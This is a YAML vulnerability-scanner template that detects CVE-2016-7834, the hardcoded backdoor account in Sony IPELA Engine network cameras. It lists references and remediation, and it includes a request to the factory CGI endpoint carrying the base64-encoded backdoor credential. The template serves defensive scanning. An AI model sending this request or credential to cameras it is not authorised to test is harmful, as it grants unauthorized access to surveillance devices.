id: CVE-2016-7834

info:
  name: Sony IPELA Engine IP Camera - Hardcoded Account
  author: af001
  severity: high
  description: |
    Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.
  impact: |
    An attacker can gain unauthorized access to the camera and potentially control its functions.
  remediation: |
    Upgrade to the latest version of the firmware provided by Sony.
  reference:
    - https://sec-consult.com/vulnerability-lab/advisory/backdoor-vulnerability-in-sony-ipela-engine-ip-cameras/
    - https://www.bleepingcomputer.com/news/security/backdoor-found-in-80-sony-surveillance-camera-models/
    - https://jvn.jp/en/vu/JVNVU96435227/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7834
    - https://www.sony.co.uk/pro/article/sony-new-firmware-for-network-cameras
  classification:
    cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-7834
    cwe-id: CWE-200
    epss-score: 0.35366
    epss-percentile: 0.96881
    cpe: cpe:2.3:o:sony:snc_series_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sony
    product: snc_series_firmware
  tags: cve2016,cve,sony,backdoor,unauth,telnet,iot,camera

http:
  - method: GET
    path:
      - "{{BaseURL}}/command/prima-factory.cgi"

    headers:
      Authorization: Bearer cHJpbWFuYTpwcmltYW5h

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'gen5th'
          - 'gen6th'
        condition: or

      - type: status
        status:
          - 204
# digest: 4b0a00483046022100ab3a31b189760b899b3d5a8338a8c93b0fe92ba5df39874a0f38af22e75272bd022100db7585054dbca4785e5e9f2f3da4638234a742d5206db79730ee55f023327be1:922c64590222798bb761d5b6d8e72950